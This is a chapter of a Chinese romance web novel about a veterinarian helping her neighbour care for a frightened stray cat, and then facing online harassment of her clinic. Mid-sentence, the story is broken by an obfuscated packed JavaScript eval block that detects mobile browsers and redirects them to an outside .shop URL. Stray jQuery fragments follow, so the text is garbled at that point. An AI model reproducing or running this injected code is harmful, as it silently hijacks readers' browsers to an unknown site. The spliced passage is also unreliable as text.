萧知敏?蒲亦竹记得这个名字,是裴煦小姨的孩子,也就是他的表妹。
她的神情微微惊讶,当初的小女孩居然长这么大了?果然时间的流逝在小孩和老人身上最明显。不过听他们这么说,她真的有些好奇那只猫到底长多丑?
不知什么时候,正在专注看电视的绒绒跑到她的脚下,顺着那条缝,一颗毛绒绒的脑袋正努力往外挤。
蒲亦竹小心翼翼地蹲下身体控制住绒绒的后颈部,没想到没抓好门把手,门哐当一下打开了。
裴煦和萧知敏同时朝蒲亦竹的方向看来,三人一时之间面面相觑。
蒲亦竹率先低头查看地面,那里空空如也,并没有外卖的踪影。
……
总不能是面前两人拿了她的外卖吧?
应该是外卖小哥提前点了送达,实则还没有送到?她抱着绒绒,神情微微有些尴尬。
“叮”这时电梯刚好到达19层,一名穿着橙色服装的外卖小哥走了出来,径直走到她面前:“1901的外卖?”
“对,谢谢。”
蒲亦竹拿了外卖后,火速关上家门。
待她吃完麻辣烫后,发现手机里有一条信息,是裴煦发的。
X:“我表妹送来一只猫,它现在害怕地躲在沙发底下,怎么办?”
不秋草:“你不用理,让它自己适应适应新环境。”
X:“过来教教我,怎么养它,我表妹要赶大学宿舍门禁,先回去了。”
不秋草:“……”
-
蒲亦竹来到1902门前,刚一按门铃,门立刻就打开了。
裴煦按着门把手,低垂着眉眼,心情似乎略微有些烦躁:“你说我去上班,它一只小猫在家能行吗?要不要买个自动喂食、喂水器?”
蒲亦竹险些笑出声来,这么担心吗?
她不由点头附和他的话,脸上的神情真挚:“不行,还得再买个猫用自动厕所,最好再雇个保姆照顾它。”
裴煦听出她语气中的调侃,漆黑的眼睛一动不动地看着蒲亦竹:“没和你开玩笑,我下班回家太晚了,怕它饿到。”
“那我也不开玩笑,你要是长期养,这些设备都是可以添置的,如果只是代养几天,其实没有必要。”蒲亦竹忽然意识到裴煦没有养过猫,可能只有一段时间养狗的经验,不由收起戏谑的神情,她站直身体,和他细细讲解:
“你上班前给小猫添满今天要吃的猫粮和干净的饮用水。它和狗不一样,不会一下子吃光,会自己安排吃饭时间,然后等你下班回来铲屎、再添上新的猫粮就行。”
裴煦的眉毛微微挑起,他的神情有些惊讶:“养猫这么容易吗?”
蒲亦竹觉得这句话有些不太对,她摇头道:“养任何一只活物都不容易。”
“猫每晚都会跑酷,睡眠浅的人会被影响;像沙发、窗帘都有可能被它抓坏,要买个沙发罩;到了换毛季,它会脱落大量的猫毛,要给它梳毛、剪指甲、刷牙;如果猫咪调皮捣蛋,你想教育它,它可能听不懂,因为猫的智商只相当于2-3岁的小孩……”
她絮絮叨叨,裴煦就站在面前安静地听她说。蒲亦竹也不知道为什么自己要说这么多,可能是希望裴煦考虑清楚,别因为觉得“容易”去轻易养一只小生命。
“明白了。”裴煦点头:“那还是指望萧知敏给它找领养吧。”
“猫还在沙发底下?”
蒲亦竹神情不由打量着周围,忽然意识到,来裴煦家这么久了还没看到猫,看到了空荡荡的沙发。
两人鬼鬼祟祟地趴下,蒲亦竹打开手机的手电筒,看到了只玳瑁猫,它一半脸是黑色的,另一半脸连带着嘴部是橘色的,夹杂着黑色,就像打翻的调料盘一样混在一块,颈部围了一圈白毛,像是白色围巾,爪子部分还有可爱的白手套。
它的胆子有些小,看着忽然出现的两个“怪兽”,整只猫十分紧张,全身毛竖起炸开,不由地张嘴露出尖牙警告,白手套砸在地上,十分有气势的“哈”气!
蒲亦竹转头问裴煦:“它叫什么名字?”
“大美。”
蒲亦竹觉得“大美”这名字有点怪怪的,可能是她影视解说看多了……
“萧知敏取名时说缺什么就补什么。”裴煦坐起来,拍拍手里的灰尘,单边膝盖弯起,胳膊架在腿上,解释名字的由来,又和蒲亦竹说大美的来历。
“小区捡到的流浪猫,萧知敏从小就喜欢毛绒绒的小动物,而我小姨最讨厌小动物,从来没有让她养过。”
“之前橘里市忽然下雪,她一时心软将跟着的大美捡回家,但是找领养又送不出去,只能偷偷养在房间里,最近被小姨发现后,下了最后通牒,要让这只流浪猫回归流浪生活,否则要将他们一起赶出去。”
“她养了一阵,肯定舍不得再让它流浪了,又怕大美真的被丢出去只好先放我这了。”
蒲亦竹沉默了一下,觉得萧知敏也是尽力了。一个学生在家人不喜欢,经济不独立的情况下根本没有办法对另一个小生命负责。
其实“大美”这个名气也没取错,虽然玳瑁猫的长相不够讨喜,不在大众的审美内。但是在其它猫猫的眼中,玳瑁猫可是超级大美女呢,而且每一只的花色都属于全球限定款,性格也温柔稳定,是个粘人精。
她夹着声音呼唤小猫的名字:“大美,别害怕。”
在蒲亦竹一声一声温柔地呼唤下,大美似乎有些惊讶对方竟然知道自己的名字,它的毛渐渐顺了下来,也不哈气了,只是一双绿色的眼睛还是警惕地观察着面前的人类。
“让它自己冷静一下。”蒲亦竹也不盯着它看了,她手脚并用爬起来。
但是她起身的时候没看清楚,脑袋撞到了矮桌,幸好裴煦眼疾手快伸出手掌护着她的脑袋,她的脑袋顶上男人柔软的手掌,蒲亦竹感觉到那手掌不由地轻轻揉了揉她的头发。
气氛沉默了几秒,蒲亦竹僵硬地转头看向旁边的男人。
裴煦耳朵通红,一双漆黑的眼睛快速地眨了两下,最后花瓣唇一张,嫌弃地呲牙:“你洗头了吗?怎么感觉弄得我一手油。”
“……”蒲亦竹无语,像是想故意恶心裴煦:“对对,我大概有三天没洗头了吧,上班忙得实在没时间洗。”
“太邋遢了吧,萧知敏送的猫外驱要不给你用一支?”裴煦说着说着,上半身离她一步远。
他这是说她头发上脏得有跳蚤吗?嫌弃是吧?
“好啊,用吧。”蒲亦竹不自觉靠近裴煦,她嘴边浮出浅浅笑意,脸颊上的酒窝落隐落现,柔顺的黑长直发从肩膀垂落,两人之间的距离一下被拉进,裴煦身上那股柠檬薄荷草的香味和她身上橘子柑橘的香味混合在一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789022|210297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
块,环绕在周围。
裴煦的脸忽然像火烧云一样连成一片,最后竟是咳嗽了一声:“不行,这是萧知敏买给大美用的,人类能抢猫用品算怎么回事?”
蒲亦竹也意识到他们俩离得实在有些近,又退回原先的距离,她无所谓地耸了耸肩:“不是你说要给我用的吗?小气鬼。”
裴煦垂下眼睛,睫毛颤动着:“对了,我忽然想起后天要去出差,到时候能不能麻烦你照顾一下大美?”
“可以,毕竟我很大方。”蒲亦竹笑眯眯地应下。
-
“亦竹姐,不好了。不知道为什么,网络上一大堆黑子涌入评论区,说我们是假医院,根本就没有救助动物。”杨沁神情焦虑,手指不停刷新着手机。
蒲亦竹早上做完一台手术,下午快两点才吃上饭,桌上的披萨已经凉透了,她小口送入嘴中,就听到旁边的杨沁在惊呼。
“怎么会这样?”她惊讶地打开某音查看情况,发现他们医院的视频下方一大堆污言秽语。
【什么医院救助啊,也不知道真的假的,跟毛孩儿别怕一起演戏引流吧?】
【之前就想知道毛孩儿别怕在哪找来这么多需要救助的猫狗?原来可能就是他自导自演的。】
【那些好心人募捐的钱很大可能他们自己私吞了吧?】
【我真不明白你们这些人,照顾自己的父母有这么用心吗?上赶着捐钱给这些猫狗。】
【哇,连这种钱都赚,这些人就不怕遭报应吗?】
【康佳安医院我再也不会去了,蒲医生是吧?真该死啊!和毛孩儿狼狈为奸!】
【年纪轻轻的女孩做什么不好,尽干这种丧尽天良的事情,我祝她霉运缠身。】
莫凌凑了过来:“这什么情况?”
杨沁:“好像是毛孩子不怕的黑子涌入我们评论区,造谣呢。”
莫凌啃着香蕉:“黑红也是红啊。”
“重点我们现在只有黑,没有红,还连累蒲医生一起被骂。”杨沁摸着莫凌的肩膀叹气。
莫凌:“奇怪,毛孩儿别怕怎么忽然多了这么多黑子?他不是一直口碑不错的嘛。”
蒲亦竹快速浏览了网络上的前因后果:“是别市的一个男性动物救助博主被扒出来。他前期救助了一只狗后获得了流量,后面为了流量故意制造车祸去撞小动物,而毛孩儿共创和我们新一期共创刚好是受伤的车祸小猫,造成了一定影响。”
“这本末倒置了吧?”杨沁有些惊讶,她从椅子上站起来,不经心中也有几分怀疑:“但是毛孩儿别怕应该不是这种人吧?!他有很多抓小流浪找领养的视频来着。”
“应该不是吧。”莫凌皱眉。
“还是先解决我们评论区的黑子吧。”蒲亦竹眯着眼,看到一些本市的ip:“不定还有同行捣乱呢。”
休息室外面传来敲门声,小顾探进一个头来,她的大眼睛找寻了一圈,最后定在蒲亦竹身上:“蒲医生,谢院长找你,让你去趟她办公室。”
“好。”蒲亦竹起身往外走去,杨沁忽然拉住她的手,她的神情有些紧张:“不会是因为网络上的事情吧?要不然我和你一起去?怎么说这个账号也有一半是我运营的。”
蒲亦竹拍拍她的手,又紧紧握住,温暖的手心传递着些许力量:“放心,我们谢兰芝院长最是通情达理。”